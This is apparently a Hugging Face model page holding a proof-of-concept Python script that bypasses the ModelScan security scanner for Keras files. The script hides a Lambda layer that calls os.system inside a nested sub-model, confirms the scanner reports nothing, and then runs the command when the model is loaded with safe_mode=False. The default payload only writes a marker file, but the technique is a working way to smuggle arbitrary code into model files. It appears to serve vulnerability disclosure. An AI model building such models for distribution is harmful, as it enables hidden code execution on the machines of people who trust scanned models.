Instructions to use MomoFan/keras-nested-lambda-scanner-bypass-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use MomoFan/keras-nested-lambda-scanner-bypass-poc with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://MomoFan/keras-nested-lambda-scanner-bypass-poc") - Notebooks
- Google Colab
- Kaggle
File size: 4,787 Bytes
9701862 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | #!/usr/bin/env python3
"""
ModelScan Keras .keras Nested Lambda Bypass PoC
================================================
ModelScan v0.8.8 (latest) fails to detect Lambda layers hidden inside
nested sub-models in .keras files. The scanner only checks top-level
config.layers[*].class_name == "Lambda", missing Lambdas nested inside
Sequential/Functional sub-models.
This allows an attacker to craft a malicious .keras model that:
1. Contains arbitrary code in a Lambda layer
2. Passes ModelScan with zero issues detected
3. Executes the code when loaded with safe_mode=False
Impact: Scanner bypass → undetected arbitrary code execution on model load
Tested: ModelScan 0.8.8, Keras 3.13.2, Python 3.12
"""
import keras
import numpy as np
import json
import zipfile
import os
import sys
def create_malicious_model(output_path, payload_cmd="echo PWNED > /tmp/pwned.txt"):
"""Create a .keras file with a Lambda layer hidden inside a nested sub-model."""
# The Lambda is hidden inside a Sequential sub-model
# ModelScan only checks top-level layers, so it misses this entirely
inner_model = keras.Sequential([
keras.layers.Dense(10),
keras.layers.Lambda(
lambda x: __import__('os').system(payload_cmd) or x
),
], name="feature_extractor")
outer_model = keras.Sequential([
keras.layers.Input(shape=(5,)),
inner_model,
keras.layers.Dense(1)
])
outer_model.save(output_path)
return outer_model
def verify_scanner_bypass(model_path):
"""Verify that ModelScan does NOT detect the malicious Lambda."""
from modelscan.modelscan import ModelScan
scanner = ModelScan()
results = scanner.scan(model_path)
issues = results['issues']
print(f"ModelScan results for {os.path.basename(model_path)}:")
print(f" Total issues: {len(issues)}")
print(f" Summary: {results['summary']['total_issues_by_severity']}")
if len(issues) == 0:
print(f" ✅ BYPASS CONFIRMED: ModelScan found zero issues!")
return True
else:
print(f" ❌ Detected: {issues}")
return False
def verify_config_structure(model_path):
"""Show that the Lambda is nested and invisible to top-level scanning."""
with zipfile.ZipFile(model_path, 'r') as zf:
with zf.open('config.json', 'r') as f:
config = json.loads(f.read())
print(f"\nConfig structure analysis for {os.path.basename(model_path)}:")
# Check top level
top_layers = config.get('config', {}).get('layers', [])
top_lambdas = [l for l in top_layers if l.get('class_name') == 'Lambda']
print(f" Top-level layers: {[l['class_name'] for l in top_layers]}")
print(f" Top-level Lambda count: {len(top_lambdas)}")
# Check nested
for layer in top_layers:
inner_layers = layer.get('config', {}).get('layers', [])
if inner_layers:
nested_lambdas = [l for l in inner_layers if l.get('class_name') == 'Lambda']
if nested_lambdas:
print(f" Nested Lambda in '{layer['config'].get('name', 'unknown')}': {len(nested_lambdas)} found")
print(f" → ModelScan CANNOT see these nested Lambdas!")
def verify_code_execution(model_path):
"""Load the model with safe_mode=False and verify code execution."""
print(f"\nLoading {os.path.basename(model_path)} with safe_mode=False...")
model = keras.saving.load_model(model_path, safe_mode=False)
result = model.predict(np.ones((1, 5)), verbose=0)
print(f" Prediction: {result.flatten()}")
if os.path.exists('/tmp/pwned.txt'):
print(f" 🔴 CODE EXECUTED: /tmp/pwned.txt contains: {open('/tmp/pwned.txt').read().strip()}")
os.unlink('/tmp/pwned.txt')
else:
print(f" Code execution verification: check command output")
if __name__ == "__main__":
model_path = "/tmp/poc_nested_lambda.keras"
print("=" * 70)
print("ModelScan .keras Nested Lambda Bypass PoC")
print("=" * 70)
# Step 1: Create malicious model
print("\n[1] Creating malicious .keras model with nested Lambda...")
create_malicious_model(model_path)
print(f" Saved to: {model_path}")
# Step 2: Show config structure
print("\n[2] Analyzing config structure...")
verify_config_structure(model_path)
# Step 3: Run ModelScan
print("\n[3] Running ModelScan...")
bypassed = verify_scanner_bypass(model_path)
# Step 4: Verify code execution
if bypassed:
print("\n[4] Verifying code execution...")
verify_code_execution(model_path)
print("\n" + "=" * 70)
print("RESULT: Scanner bypass " + ("CONFIRMED ✅" if bypassed else "FAILED ❌"))
print("=" * 70)
|